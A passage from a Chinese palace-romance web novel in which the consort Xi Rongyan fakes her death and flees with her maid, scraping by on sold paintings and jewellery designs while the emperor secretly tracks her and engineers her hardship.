脑中缓缓将细节都过了一遍,魏祁缓缓吐出一口气。
先前微微颤抖的手指摩挲在戒指上,渐渐平稳。
他宁愿她骗他。
她活着就好。
他站起身,走到外殿,背着光的高大身形如一团压制极强的黑影,让后面站着的侍卫都屏住了呼吸,又跪下去等着吩咐。
魏祈知道席容烟并不太擅骑马,她最多在马上骑马一夜,就会想办法坐马车。
即便她不坐马车,她一夜颠簸也会休整休息。
他知道她的身子,自小没吃过苦头,马上的颠簸她更加受不住。
上回自己抱着她骑马,她已那般难受,更何况是骑马一整夜。
寻常男子整夜骑马,若不换马,不过百里,席容烟是女子,又是夜里,也最多五十里。
她的模样可以改变,但身影定然变不了。
魏祁顿了一下,转身吩咐搜八十里内的城池驿站,酒楼,所有铺子,还有客栈和雇佣马车的地方。
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这头席容烟和宝珠又在马车上走走停停的赶路坐了五天五夜。
宝珠忍不住小声的凑到席容烟的耳边道:“公子,干粮快没了。”
“我们到底去哪儿?”
席容烟看向宝珠:"找一处清静的小地方。"
席容烟从没做过这么简陋的马车,被颠簸的也是脸色惨白,骨头都要散架了一般。
她也受不住,让车夫停在前头城内,只想要赶紧找个客栈休息。
两人脸上都抹了碳灰,弯着后背,瘦不拉几,在人群中并不显眼。
宝珠看着席容烟杵着树枝做的拐杖,这么看过去像是得了大病,不由佩服主子连这种法子都想得出来。
又去找了家上好的客栈,两人好好的休整。
奔波三四日,吃的都是馒头烙饼,还没吃点好的,此刻一桌大鱼大肉,两人都馋的不行,更没空说废话,先吃饱再说。
席容烟还是有些仪态,但宝珠全是不顾形象了。
吃完了两人摸着肚子躺在床榻上,宝珠问:“我们下一步去哪儿?”
席容烟看着帐子,低声道:“找个安身的地方。”
宝珠撑起身问:“在哪儿安身?”
席容烟想了想,要是在这里买一个宅子倒是能买,但是买宅子就会在县衙里落下户名,魏祁要是从这里下手找,很容易能找到她。
她如果要完全摆脱魏祁的话,她想去那个边境小国南疆。
听说那里民风淳朴,物资富饶。
但是她只是在地志上听说过那里,真要去的话,还是有些害怕的。
便打算在城外买个庄子,离城中也不远,也能时时进城买东西。
再雇两个丫头和护卫,也算不错。
但此刻几天的奔波让她头脑发晕,她没有深想,只想休息好了再往南赶路。
连着几天没洗,身上还沾染了许多泥,又是夏日,早捂出味道来。
等到舒舒服服泡在浴桶里的时候,才忍不住舒服的叹息。
只是此刻皇宫中却悄悄走出消息说,宸妃娘娘生了重病,需要养病。
谢氏急急忙忙进宫见太后,她觉得这事有些内情。
前两天太后将玉竹送回去,莫名其妙的,要是生了病,怎么还将玉竹送回去?
太后看着谢氏叹息,其实她也隐隐觉得出了事,特别是席容烟那天让玉竹来交给她的信。
那信里什么也没说,只说让她帮忙将玉竹送回席家去。
她还以为玉竹是做了什么得罪了皇上,席容烟才这么安排。
结果第二日就传出了消息说席容烟病了。
她还匆匆去探望,结果明德殿门口的侍卫把守,她身为太后都不得进去。
她又去问皇上,但皇上这几日好似十分忙碌,一直都在宣政殿里,她去了几次也不见。
这会儿又见谢氏来问,她叹息,一时竟不知道怎么安慰。
她心里又何尝不担心。
她只有握住赵氏的手低声道:“旁的你别担心,哀家在宫里,有消息定然会传回去给你。”
谢氏红了眼眶:“我能不能去看看容烟?”
太后叹息,连她都进去不了,更何况谢氏?
她低声安慰着:“你放心,就算出了事,也有哀家在。”
“容烟是我侄女,哀家能不帮她?”
“明日哀家再去见见皇上,你留在府里等信就是。”
谢氏这才被安抚住离开。
太后又问身边的嬷嬷:“宣政殿那边有消息来么?皇上忙完了没有?”
嬷嬷摇头:“还没来消息。”
太后又看了看天色,等到夜幕时,她索性起身,又往宣政殿去。
这回她要见皇上,竟然一去就见到了。
皇上对她还算敬重,请她一起坐下。
太后看着坐在椅上的皇上,身着常衣,靠在椅上,眼底微微发青,眉间全是疲惫。
第157章 我们后面往哪儿走?
这样疲惫的皇上是太后第一次见到。
其实在当初剩下的三个皇子中,她最看好的也是魏祁。
虽说是年少就被送去了北地,远离皇宫,更远离权利,但谁能想到他凭着自己就能打出那么多功勋出来,连先帝都对他刮目相看。
现在魏祁的这个样子,是她极少见的。
她的心微微放心了些。
至少这样,看样子是真担心容烟的。
她直截了当的就开口问:“容烟怎么了?”
魏祁揉了揉眉头,余光扫过太后,靠着椅背低声道:“朕带她出宫那次,她中了刺客下的毒,现在正昏迷养病。”
说着魏祁看了太后一眼:“不过没关系,她只需要好好修养些日子,但现在她不适合有人打搅她。”
太后听到这话心里就一跳,连忙看向魏祁:“是不是忠靖候府的人做的?”
“皇后害了容烟两回,皇上这事不可姑息啊。”
魏祁靠在椅背上,有些疲惫的回话:"朕心里有数。"
太后还想说话,又见魏祁忽然侧头看她:“此事朕对外只说她在养病,对席家也这么说吧,也免他们担心。”
太后一顿,看来皇上是知道今日谢氏来找她的事情了。
她又看着魏祁沉寂还带着血丝的的眼睛,叹息的顿了下点点头。
太后走后,魏祁独自一人闭目坐在椅上,烛光点亮,他独坐在冷清的殿中,手指落在了腰上的荷包上。
隔了许久,高义小声的从外头进来,捧着厚厚一叠信进来,弯腰在魏祁的耳边低声道:“这都是从各地送回来的信。”
魏祁这才睁眼,高大的身躯坐直,紧抿着唇拆信。
每一封信他都会仔细看。
魏祁几乎已经确定席容烟是故意在她面前假死的。
只要他没有见到她的尸体,在他心里,就是她还活着。
还有他仔细看过席容烟留下的东西,碎银子和金豆全都不在了,她要是想死,不可能会带着这些。
当初席容烟进宫带的所有东西都要经过内务府的清点记录,魏祁对席容烟的花销很清楚,她每月还有月例,银钱富裕,如今全不在了。
还有那个叫宝珠的丫头,他亲自过去看着人去搜,首饰积蓄全都没有了。
宝珠是席府的家生子,他叫人去打探过,宝珠的卖身契还在席府,便是奴籍,没有可能会自己安家落户。
那日她非要带走两个丫头,估计就是想要带她们一起走,即便那日只带走了宝珠,席容烟也事先为另一个丫头安排好了。
她早有准备。
是什么时候开始的呢。
或许是从她在皇后面前故意说她要住在明德殿的时候。
她那样低调的性子,不会忽然在皇后面前张扬。
可惜他早察觉出她一丝不对,却仍旧对她心软,不愿将她束缚太紧。
一封封信纸被打开,直到看到一封信上的内容时,魏祁的手指一顿。
在离城四十多里的临安小城内,雇佣马车的有两个瘦小的哑巴。
还会写字。
魏祁沉眉,指尖点了点,又起身。
席容烟休整了一日,本来打算第二日一早赶路的,却一大早上吐下泻,呕了一场。
宝珠吓坏了,赶紧出去叫小二去叫郎中来。
等到郎中把脉,才是吃坏了东西。
在马车上赶路的那五六日,席容烟怕被魏祁找到踪迹,从来没有去路边的驿站歇脚过,夜里也是睡在马车里,吃的都是路上带的干粮。
又是夏日,估摸着是吃了坏了的干粮。
宝珠倒幸好没事,忙着给席容烟熬药。
席容烟靠在榻上,胃里本翻滚,这会儿又要吃药,便觉难受的很。
这里又没有蜜枣含着,宝珠小声劝着给席容烟喂药。
席容烟也知晓现在不是她娇气的时候,她要赶快吃了药好起来,才能有力气赶路。
一碗药吃了小半刻,吃完了身上汗淋淋的,头发也湿了。
尽管她自来不怕热,但这间屋子朝着西边,一股闷热,昨夜才洗了的头发,这会儿又汗湿了,整个人晕乎乎的。
宝珠也没有好到那里去,额头上也热出汗来,窗户打开也没什么风吹进来,哪里比得上从前屋子里在夏日日日都有冰鉴,屋子里时刻干燥凉爽。
席容烟让宝珠别顾着她,去拿扇子扇扇风。
宝珠在屋子里找了一圈又回来:“屋子里没扇子,奴婢出去买两把来。”
席容烟侧头看向宝珠身上褐色的麻布衣裳全湿了,头发乱糟糟的,脸上的碳灰也被汗水染的深深浅浅,伸手拉住她袖子,哑声道:“给脸抹匀些。”
“出去小心些。”
宝珠诶了一声,去照了镜子,看着自己那张鬼脸也吓了一跳,赶紧又抹了抹。
席容烟看着男子衫的宝珠背影消失在门后,又转头捂在粗糙的枕面上,眼里难受的泪光全擦在上面。
她也没什么好委屈的,都是她自己选的,她只是觉得连累了自己的丫头。
至少她离开了魏祁。
吃了两副药,到了夜里的时候,又沐了浴,席容烟才觉得身上稍微好了一些。
只是身上依旧有些难受发晕。
她坐在椅上,一边摇着蒲扇,一边看宝珠买回来的地志。
宝珠凑到席容烟的旁边看过去:“我们后面往哪儿走?”
席容烟指尖在南边的地图上移动,接着停在一个地方:“我听说这里的气候好,不冷不热。”
“景色也宜人。”
其实席容烟想的是这个地方偏僻,魏祁应该猜不到她会去那么远的地方。
况且他是皇帝,即便真的发现自己假死,他也不可能亲自来找她。
并且她跑出来这么几日,什么动静也没有听到,更没有看到追兵,心里也稍微放心了一些。
只希望他觉得自己真的死了。
宝珠看着席容烟指的那个地方,听说风景宜人,就道:“那这个地方好。”
“去了那儿再买一间大宅子。”
席容烟笑了笑,合上了书。
第158章 他不逼她,他要她心甘情愿的回来
又养了两天,席容烟虽身上还是有些难受,好在精神好了些。
宝珠劝着席容烟再休息两天,但席容烟想的是先离得越远越好。
这里离京城大约两百多里,还不算太远。
主要席容烟怕被魏祁发现端倪,又怕被人发现身上银子多,就故意雇了一辆简陋马车。
那马车简陋,走的也慢,也不能不停歇的赶路,那马也需要休息,不然算起来,一共赶了五日,该是三四百里外了。
这才两百多里,席容烟心里还是有些不安心。
两人又稍微收拾了,露在外头的皮肤全抹成了棕色,又在脸上点了几个痣才出去。
下了酒楼,两人打算随便吃些就去找马车上路,
这回席容烟想着,还是雇好些的马车,都跑到了这里了,也不需要那么小心了。
她咬了一口馒头,又喝了一口粥,晕晕然里吐出一口气,这时候却又听邻桌在低声说话,她不由侧头看过去。
若是寻常的话,席容烟定然不会注意到,但她听到了宸妃两个字。
邻桌说话的两名男子看起来衣着讲究,身上穿着绸缎,手上戴着玉扳指,身后还跟着奴仆伺候。
只听一人道:“我收到京城来的秘信,说是宸妃薨了,皇上悲痛,连着好几日没有上朝了。”
另一人急忙问:“真的假的?”
第一个说话的人摇头:“这我也不知道,我家老爷这些天倒急了,之前舍了忠靖候府去巴结席家的,现在看来,大殿下目前看来还是有可能是太子。”
说着那人又神情严肃道:“不过这事儿不许往外说,听说皇上大恸,更不许人传这事,这事其实京城内都许多人不知道,还是我家老爷在京城贵人那儿听到的一点风声。”
“说实话真的太突然了,真假真难说。”
席容烟没有听下去了,心里噗噗直跳。
魏祁真的觉得她已经死了?
席容烟特意留意旁边这一桌,看这桌人和小二像是熟悉,等他们一走,忙问小二打听他们的身份。
那小二看了眼席容烟瘦小棕黑的身躯,说话声音又沙哑,本不愿意理会,但又看席容烟往他手上递过去几个铜板,连忙收下笑道:“那是我们县老爷的师爷,常来这儿过早呢。”
从县老爷的师爷那儿得到的消息,那大抵真的有几分真。
但席容烟现在也不可能去求证到底真不真,心里却恍然松了口气。
她特意在悬崖上留了布条,暗示她跳了下去,悬崖下就是流水,魏祈即便真的去找,也不会找到踪迹。
但是还是要继续赶路的。
宝珠走到席容烟身边小声道:“皇上以为主子死了,我们是不是可以在这里多住两天,主子将身子养好再说?”
席容烟摇头:“先赶路才安心。”
这回席容烟雇的马车宽敞了许多,里头能容纳两人睡,也可以不用再坐在马车里颠簸,要把骨头都颠簸散架。
席容烟几乎没怎么讲价钱,那人说多少她就点头了,不想暴露自己声音的不对。
只是那车夫说要先付一半的银子,席容烟也懂规矩,便叫宝珠先付一半的钱。
宝珠在身上摸了摸,忽然心里发慌,钱袋子怎么不见了!
席容烟看宝珠的脸色有些不对,拉着她去一边低声问:“怎么了?”
宝珠脸色惨白,压低声音的颤颤道:"两个钱袋子都不见了。"
席容烟听到宝珠的话,心里也是一跳。
她忙问:“你想想,是不是落在客栈里了?”
宝珠急得快落了泪,摇头道:“在客栈里主子提醒我将钱袋放好,我记得清清楚楚我特意摸了摸,那时候还还在的。”
“后头去买了干粮,钱袋也还在……”
说着,宝珠的脸色忽然一变,身上发软,看着席容烟:“刚才买完干粮后,有人撞了我,把我手上的东西都撞落了,我想找他理论,那人却匆匆的走了。”
“我想着我也要赶路,就没理会他,现在想起来,是不是他拿了我的银子?”
席容烟听了宝珠的话,闭了闭眼。
听起来八成是真的了。
只是她若是去报官的话,来历户籍都要询问,便暴露了身份,况且也不一定能找到那人。
席容烟深吸一口气问:“你还记不记得那人的相貌?”
宝珠含泪摇头:“当时忙着捡地上的东西,没有看清。”
席容烟揉了揉眉头,隔了这么久,又没看清相貌,即便报官也定然找不回来了。
她镇定心神问:“那我们现在身上还有没有银子?”
宝珠忙在身上摸了摸,又从袖口里掏出几块碎银子,哑声道:“就只剩下这么多了。”
那几块碎银子,不过刚好够一半的路程,剩下一半的路程的银子又从哪里来。
况且这银子给了,就身无分文了。
那头的车夫看那边两人嘀咕半晌,忍不住不耐烦的喊:“还雇不雇了?”
席容烟只觉得一阵头疼,却要强打精神回头与那人赔罪。
那车夫一听席容烟又不雇马车了,骂了几句,还卒了一口。
席容烟强忍着,拉着宝珠离开。
两人找了块没人的地方坐下,宝珠抹泪问:“主子,现在怎么办?”
席容烟埋首在臂弯里不说话,许久又闷闷一句:“你叫我想想。”
远处的一名侍卫看着这一幕,又忙转身让另一人回去传信。
那封信很快落到魏祁的手上。
他靠着椅背,双腿交叠,沉寂的殿中唯有他高大的身躯。
整整三四页的信纸,是席容烟在广陵府过的种种。
她在广陵府生了病,他以为她知道了在外头的艰难了,没想到她依旧还想着要走。
不过她其实比他相像中的要更机警,和更懂得保护自己。
她也没有落泪,比起她的丫头,她一直很淡定冷静。
他在三日前就查出了她的下落,让人快马一天一夜到了广陵府。
魏祁不想强硬的带席容烟回来,毕竟他并不想如上一世那般对她。
她恨自己杀了顾韫玉,恨前世自己那般对她,自己再去将她强势的带她回来,只怕她会更恨自己。
他不逼她,他要她心甘情愿的回来。
席容烟自小金娇玉贵的长大,吃不得苦。
她在外面去一遭,才知道在他身边,被他护着,她才会一生安稳,才不会再想着跑。
几页的信纸,魏祁看完并没有用多少时间。
连同那封信一起送回来的,还有两个荷包。
魏祁默然将其中一个荷包拿在手里,荷包很沉,里头全都是一颗颗不大的金豆子。
看来她将自己以后的日子都安排的充分。
他沉默的看了许久,又放在一边,想像着此刻席容烟所处的困境。
没有了银子,她应该最多再有半月就会开始后悔了。
或许要不到半月,四五日她就会后悔。
那时候,她就会知道,回到他身边,日子是多么舒坦。
成为他的皇后,万人之上,比在外面好了百倍。
第159章 没有银子,寸步难行
席容烟和宝珠在街角角落处坐了一下午,席容烟才想明白了。
现在想要再赶路,是定然不可能的。
没有银子,寸步难行。
她现在只有想办法挣银子。
她数了数宝珠还剩下的碎银子,只剩下了一两多。
好一些的客栈,恐怕一夜都不够的。
这时候只能当首饰了。
但是她身上的首饰,即便最差的首饰,在这里估计也引人注目。
他更担心的是魏祁会通过她当掉的首饰找到她。
不过她今早听说魏祁以为她死了……
旁边宝珠在旁边小声道:“主子,奴婢身上的首饰还可以当。”
席容烟看了看宝珠送来的首饰,是她从前赐给她的,料子还好,但就算当了也看不出来什么。
席容烟看她:"你身上留两件,这些成色都好,去当两件就够了。"
宝珠应着,留下了两件。
这时候已经是正午,光线直射下来,席容烟自小没被这般晒过,晒一会儿就受不住了。
好在很快找到了当铺,可是当宝珠将东西都给那掌柜的时候,那掌柜的只说了一句岫玉不值钱,就扔了一吊钱出来,当打发叫花子一般。
宝珠瞪大眼睛:“你胡说什么,这是上好的玉,怎么可能是岫玉。”
那掌柜却不耐烦的挥手:“爱当不当,不当就走。”
宝珠气得咬牙,伸手道:“那把我的东西还我。”
那掌柜的看了宝珠一眼,就扔了个镯子出来,席容烟上去一看,成色品相极差,根本不是刚才给过去的。
宝珠气得要骂人,却被席容烟紧紧捏着手。
席容烟飞快的拿了那吊钱,拉着宝珠就跑了出去。
刚才她看到当铺角落里走出来几个身形高大的人,显然这样的勾当做的并不少。
她们现在还在逃跑,在这里人生地不熟,当铺里都是那掌柜的人,根本不是他们的对手。
万一暴露了她们女子的身份,得不偿失。
等席容烟走了,暗处一名侍卫走出来,那掌柜的忙将刚才宝珠送进去的镯子和簪子呈上去,那侍卫收进怀里,又往那掌柜的手上扔了一定银子,叫他住口。
出去找了颗大树下头席容烟才松了手。
宝珠气得哭了:“这不是欺负我们?”
席容烟压低声音对宝珠讲清了厉害,又安慰她:“一吊钱也好过什么都没有,我们再想办法。”
下午两人去找价钱低一些的客栈,但最低的一夜也要三十文。
手上现在的银子,加上刚才当的一吊钱,算下来花销不了多久。
但有住处总比没有的好。
席容烟跑了一下午,她身子不算太差,但也是皮肉娇贵的,从来没吃过这苦,不过是强撑着一口气咬牙撑着。
到了客栈便扑进床榻上。
那床榻上有发霉难闻的味道,床铺发硬,与昨日住的客栈天壤之别。
席容烟自小哪里睡过这样的床铺,她在上头翻了个身,便能听到床板吱嘎的声音。
她怔怔看着房梁发呆,额上的汗珠将发丝润湿,也润湿了她的眼睛。
闷热的屋子里飘散着陈旧的灰尘,她伸手拂了拂,灰尘飞扬。
宝珠本想拿毛巾给席容烟擦擦脸,一看那挂着的巾子也嫌弃,就用自己手帕洗干净了来给席容烟擦汗。
两人在太阳底下跑了一下午,席容烟昏昏沉沉,眼底看着那烟尘,又闭着眼睛,不抱怨一句。
脸上的碳灰被擦干净,里头的脸庞苍白,宝珠红了眼眶,哽咽道:“都是奴婢害了主子,要是奴婢将荷包护好,也不到这个地步。”
席容烟这时候已晕的不行,侧头来安慰她:“你别说这些,现在不是抱怨的时候。”
宝珠是自小看着席容烟是如何被护着一路长大的,及笄之前,不管去哪儿都是轿子,穿戴用度都是顶顶好和精贵的东西。
哪里受过这样的苦,哪里吃过这些糙饭粗茶。
她抹泪:"要不主子给二爷送一封信去吧。"
“二爷担心主子,一定会想法子安顿主子的。”
席容烟忙睁眼,低声道:“你别寄信,你信我的。”
席容烟知晓魏祁现在定然是派人看着席府的动作,自己要是贸然寄信回去,不说被魏祁发觉,万一让魏祁觉得自己逃走和席府有关联,那便牵连过去了。
宝珠愣了愣,听了席容烟的话难受:“那银子用完了怎么办?”
席容烟将手搭在眼睛上,细声道:“宝珠,我有办法的,你先去问问有没有热水,我想沐浴。”
宝珠诶了一声,下楼去问,才知沐浴用的热水还要给十个铜板。
宝珠咬咬牙,也给了。
席容烟沐浴后,一下午都没什么胃口,那发硬的麦饼吃一口要嚼许久,一口茶一口饼,小半个时辰才能吃完。
她才吃了一口,胃中又不舒服,又干呕了会儿,好在宝珠那些药包带着的,忙去熬了药给席容烟喝。
席容烟没有落泪,倒是宝珠的泪水不停往下落。
那被子她也实在看不下去,小声道:“奴婢重新去买个单子吧。”
席容烟喝了几口茶散去口中的苦味,对宝珠低声道:“你明日去买些笔墨和纸来。”
“今天我路过字画铺,看见有人在送字画进去,我看看能不能卖字画赚些银子。”
宝珠知晓席容烟的字画一向都好,小时候都是跟着二爷和德高望重的老先生一起学的,便连忙点头:“我明日就去买。”
又看了看席容烟身下那床榻,忍不住道:“奴婢现在再去买个单子来,主子身下那个不知道被多少人睡过了。”
席容烟也实睡不下这张床榻,点点头,又去竹椅上坐着。
她脸上虽然没有表现得太多,是怕宝珠担心。
但她身上难受的厉害,昏昏沉沉的也不想多说话,只想好好的先睡一会儿。
宝珠看席容烟闭着眼,极累的模样,又小声的起身出去买单子。
回来后又将席容烟身上的外裳顺道拿去洗了。
到了夜里,两人睡在那新铺的单子上,也算挺了过去。
第160章 她还没有被逼到绝境
第二日早上的时候,宝珠就就忙着去买笔墨。
从前她从没觉得这些东西贵重过,今日去买,才知道一卷稍微上好的纸,竟然也要一两银子。
身上也没多少银子了,但想着席容烟从前用的纸比这纸还好不知道多少,太差太粗糙的纸定然是用不习惯的,咬咬牙便买了。
席容烟在宝珠回来后问了她价钱,这些东西一买,两人身上所有的银子就只剩下半吊钱了。
吃饭都成问题,只能吃点馒头度日。
她揉了揉眉心。
好在这间客栈的屋子虽简陋,但还有一张桌子,席容烟叫宝珠研磨,自己坐在桌前开始默画。
她自小对画山水花卉有兴致,又师出名门,得无忧山人的亲传,书画造诣极高。
父亲的藏书阁里也有许多名画,席容烟小时候会缠着父亲反复去看和临摹,那些画早印在她脑海中。
席容烟不敢保证能以假乱真,但除非十分懂画的,寻常是看不出来的。
真迹难有,但摹卷也能卖一个好价钱。
席容烟从上午画到了天黑,油灯的光线不好,又开着窗,被风吹的摇摇晃晃。
宝珠看得心疼,小声道:“主子先歇歇吧。”
“明日再画一样的。”
若是寻常画定然是要不了这么久的,但席容烟是默画,脑中的思绪不能打断,不然便没那个感觉了。
她敷衍的嗯了一声,依旧没停笔。
在油灯快要燃尽时,才将最后一笔落下。
她趴在圆桌上,迷迷糊糊就睡了过去。
到了第二日一早,刺眼的光线照射进来,席容烟才醒来。
她将画卷好,又低声对宝珠吩咐:“你去画铺里多问几家,哪家给的价钱高,就卖给哪家的。”
宝珠紧紧抱着画,赶紧答应。
席容烟本以为就算再不济,二十两银子是该有的。
从前在京城,以假乱真的摹本还能上百两。
结果宝珠中午回来,却说只卖了了二两银子。
将纸笔的钱一除去,就只赚到了半吊钱。
席容烟觉得不该这么低才是,还是那画铺掌柜的没有见过真迹,所以不知道那画的价值。
席容烟细问,宝珠又道:“那掌柜的说主子画的《山水秋霁图》是画的好,但是主子籍籍无名,画得再好也无人问津。”
“奴婢又跑了两家画铺,给的价钱比这还低,连买纸的钱都不够,奴婢就又卖给她了。”
席容烟听完一顿。
她知道那掌柜的说的确也是这般,画得再好,没有名声名气,也卖不出好价钱。
名声与名气不是那么好打出来的,况且她现在也不适合打出名气。
不过那掌柜的故意压价也是压了的,这种赝品字画,哪里管什么作画人是谁,只看与真迹是不是相似,能不能以假乱真罢了。
席容烟又看向宝珠,宝珠的身形窈窕,穿上男装看起来便有些瘦弱,脸上棕黑,又看她只身一人,所以才这般压价。
席容烟起身去坐到椅子上,撑头在扶手上,又让宝珠为她斟一杯茶来。
那茶是冷茶,比起席容烟从前喝的茶水天差地别。
席容烟饮了一口,又放在了一边。
她们现在的银子显然不够赶路的,本来她之前还打算去镖局顾两个人护送,现在也更没有银子了。
如果她要离开这里,只能想法子挣银子上路。
更不能坐吃山空的在这儿等着。
她既然下定了决心要离开魏祁,就更不会想着要走回头路。
这个地方是广陵府,离京两百多里,广陵府并不大,位置也稍微偏僻,先试着在这里住一段时间也不是不行。
现在要紧的是怎么赚银子。
席容烟目光扫过那桌上还剩下的纸张,心口一动,又起身往桌前去,重新拿起了笔。
皇宫内的魏祁看着信上的内容,神色微微低沉。
那嘈杂破烂的客栈,他以为她一日都住不下去的,却没想到她接连住了两日,还在想法子挣银子。
她比他预想中的要更坚韧。
却也叫他心底发疼,她为了离开自己,原来这样的苦日子也愿意么。
或许她过的还不算苦。
她还没有到绝境。
魏祁沉默的将那副《山水秋霁图》缓缓展开,一笔一划是她连夜在油灯下画出来的。
魏祁闭上眼睛,想象着席容烟在灯下神情。
她在画这副画的时候,心里在想什么。
已经过了这么多日了,她依旧没有要回头的意思。
第二日的时候,席容烟与宝珠一起出了客栈。
席容烟换了一身素色麻布料子的寻常妇人裙,宝珠也换了女子衣裳,两人戴着帷帽往首饰铺去。
两人的穿着看起来算不得好,那接待的小二有气无力的往两人身上看了一眼,又没有管了。
席容烟低头看那些首饰,还全是京城里老旧过时的款式,心里就微微有了些底。
那掌柜的见席容烟只看不挑,不由走过来问:“姑娘看上哪件了?”
席容烟这才看向掌柜:“我想与掌柜的做一门生意。”
那掌柜的听了这话,忍不住抬头打量面前这衣着朴素的女子。
那帷帽上的白纱微微有些厚,他有些看不清人,但一身素净雅致的气质却是叫人难以忽视。
只是衣裳寻常,瞧着不像是什么有身份的。
他忍不住问:“姑娘要做什么生意。”
席容烟刻意将声音压了压才道:“这些首饰的样式太普通了,我这里有图纸,我给可以卖给你,银子不多,二两银子就行。”
那掌柜的一笑:“姑娘,二两银子买你一个样式,你觉得我会不会买?”
席容烟从怀里拿出图纸来:“掌柜的先别急着拒绝,您先瞧瞧我的图纸再说。”
说着席容烟将纸张送过去,又道:“我刚才来的时候也去对面那家首饰铺瞧了,那家生意稍好些,便是首饰的花样不少。”
“女子首饰便图好看时兴,您家有,别家没有,还愁没人来买么。”
那掌柜的听着席容烟的话,这声音听着细致,不急不缓的听着还挺舒适。
更要紧的是,这纸张上的画的那几个样式,的确漂亮。
其实一两多银子还真不多,他后院里养的画图的工匠,工钱也不少。
他想了想,开始讨价:“一两银子加半吊钱,如何。”
席容烟也很干脆爽快,一口答应下来。
宝珠就这么看着席容烟这一会儿功夫赚了一两多银子。
从前她在席府当值,一月的例银差不多也是一两,但却从来没觉得有太多过,这会儿见了一两银子,她竟然觉得好大一次银子。
第161章 做生意
席容烟拿到银子,便带着宝珠重新换了一家客栈。
住进了一百文一夜的。
屋子比那三十文的好了不少,至少被褥没有难闻的味道,床铺干净。
若是在从前,席容烟见着这样的客栈,大抵是连进都不愿进的,这会儿竟然也觉得这间屋子极好。
宝珠一进去就去拿手帕润了水给席容烟擦脸,席容烟自己接过来,擦了擦额上的细汗,又看着宝珠将所有银子拿出来细细的数数。
宝珠数了半晌,又高兴道:“现在我们有三两银子了!”
席容烟算了下,三两银子要买个小院还是远远不够的。
差的太远。
路费也是刚好。
她叫宝珠将银子都收好,又起身去摆弄笔墨。
宝珠跟在席容烟的身边小声道:“要不今天奴婢去叫几个好菜吧。”
席容烟拿笔点墨,又侧头看向宝珠:“我们先省省,往后用银子的地方还多。”
宝珠却有些难受:“奴婢看主子这几日好似瘦了些,想那些粗饭主子吃不惯,想让主子补补身子。”
席容烟垂眸落笔:“我哪有那样娇气,什么都能吃。”
宝珠看席容烟又在认认真真画首饰图样,又小声的去给席容烟换下来的里衣拿去洗了。
如今已经是夏末,微微凉爽里又带着一丝闷热,席容烟外头的衣裳可以忍忍,里头的里衣却要每日一换。
一直画到夜里的时候,席容烟才将手上的图样画到一半。
这些首饰她根据宫里的样式改了改,可以说是独一无二的。
可惜,广陵城不大,只有两家首饰铺,要是换成其他家的,估摸着价钱还能卖的高出不少。
她将纸张收好,又去沐浴后才睡下去。
这一夜席容烟睡得算不上安稳。
她夜里做了许多梦,前世的事情与她后来的事情一幅幅画面交叠交映,让她又昏昏沉沉的头疼,从深夜里醒了过来。
屋子里一盏灯都没有,席容烟在黑暗里坐起身,发硬的床板让她身上都传来一股疼。
席容烟紧紧捂住眼睛,不想去想前世那些噩梦。
不想去想前世里在自己逃跑后,魏祁是怎么对她的。
只是越不愿想,脑中的画面却纷至沓来的飞来,让她睡不安稳。
让她觉得即便自己在广陵府这些日一切宁静又平静,她仍旧还没有逃脱魏祁的手掌。
她想起那次她被魏祁抓回去后,魏祁在她耳边的低语:“这天下都是朕的,烟儿,你能逃到哪里去?”
“不管你去哪里,朕也一定会找到你。”
席容烟几乎能在夜色里听见自己心脏跳动的声音。
那时候的惶恐,依然真实。
在她面前那伸手不见五指的浓稠黑夜中,也依旧有一双眸子在冰凉的看着她:“烟儿,你后悔了吗?”。
“只要你听话,朕就解开你身上的锁链,朕只要你听话。”
席容烟从床沿上坐起了身,怔怔看着窗外的月色半晌,微风吹拂过她发丝,为她带来了一丝凉爽。
她从来都没有后悔。
又过了几日,席容烟特意去了那首饰铺去看了看,生意明显比之前好了些,那掌柜的见到席容烟来,笑着招呼她:“姑娘果真有些过人之处。”
说着他又问:“姑娘那儿可还有图样?我全买了。”
席容烟之前就早就画好了,她笑道:“还有的,不过这回的比上回的要好,一个图样二两银子。”
掌柜的一愣,上回一个才半吊钱,这回就涨了这么多。
席容烟看掌柜的犹豫,就又低声道:“若是掌柜的怕卖不出去,也可以先去打样子,每卖出一件,便分我收益的一成如何?”
席容烟心里还算了算账,她画的这几件首饰,可以做成银簪,也可以做成金簪,但这里大抵都是银质了,少说一件可以卖三四两,那她一件就可以分三四百文。
相当于有长期收益了。
只是这样的话,她就得再这里多呆些日子。
不过这里也远离京城,常住在这里也不是不行,买了宅子,再买两个奴仆也行。
那掌柜的听了席容烟的话,稍微思索一下,想着这样也稳妥。
根据卖多少来算,也不会有亏本的风险。
便这么应了。
席容烟便将图纸拿出来,又低低讲了些细节,那掌柜的一见那图纸,便眼神发亮。
那纸上的那几个款式样式,从前从未见过,要是都做出来了,定然会大卖。
他忽然好奇起席容烟的身份来,便问道:“姑娘是怎么想出这些样式的?”
席容烟早就想好了说辞:“我从前在京中老爷那里做过丫头,见过那些小姐夫人的首饰,我记性好,跟着小姐学过字画,就自己画下来了。”
掌柜的也没有怀疑,又托席容烟多画几个好看的画样来。
席容烟一口应下,出了铺子。
宝珠跟在席容烟的身边,也是喜笑颜开:“没想到主子这样厉害,要是卖的好,不就一直有银子了?”
席容烟抬头看向长街,广陵城里算不得繁荣,妇人打扮多寻常,那花样虽然好看时兴,但也不是人人都能买的起的。
但就算有个四五个人买,算起来也不少了。
席容烟基本不在外头呆多久,从掌柜那儿出来就又回了客栈。
这间客栈的地段还好,也干净许多,就是有些嘈杂。
席容烟坐在竹椅上打着扇子,又撑着头想着还有什么能赚钱的法子。
想她从前从来也未因为银钱困扰过,现在才知在外头,没有银钱,寸步难行。
宝珠看着窗外,又回头看向席容烟小声道:“要是银子够了,租个小院子也行,那样主子也不用整日都呆在屋子里了。”
席容烟捏着扇子的手一顿,又扇了下,凉爽的风吹来,她没说话,心里虽然有打算,但也还没有那么确定。
第162章 一分银子没拿到
过了三四日,席容烟和宝珠坐在外头一家小贩前吃浮圆子。
清晨天边才微微泛了白,街道上来来往往的人已经开始忙碌起来。
席容烟身上穿着没染色的牙黄麻衣,头上包着头巾,再寻常不过的妇人打扮,背对着街道,低头又吃了一口,觉得吃饱了。
宝珠凑近席容烟:“那儿还有冰豆腐脑,两文钱一碗,我去端一碗过来吧。”
席容烟摇头,又用纱巾将脸包好,看向宝珠:“你要馋就去吃一碗,我在这儿等你。”
宝珠眼巴巴往那头望了一眼,还是没忍住去买了一碗。
摊前的人渐渐多了起来,席容烟起身让开了位置,又去不起眼的地方站着。
她看着往的街道,心下想着呆在城内比城外要安稳的多。
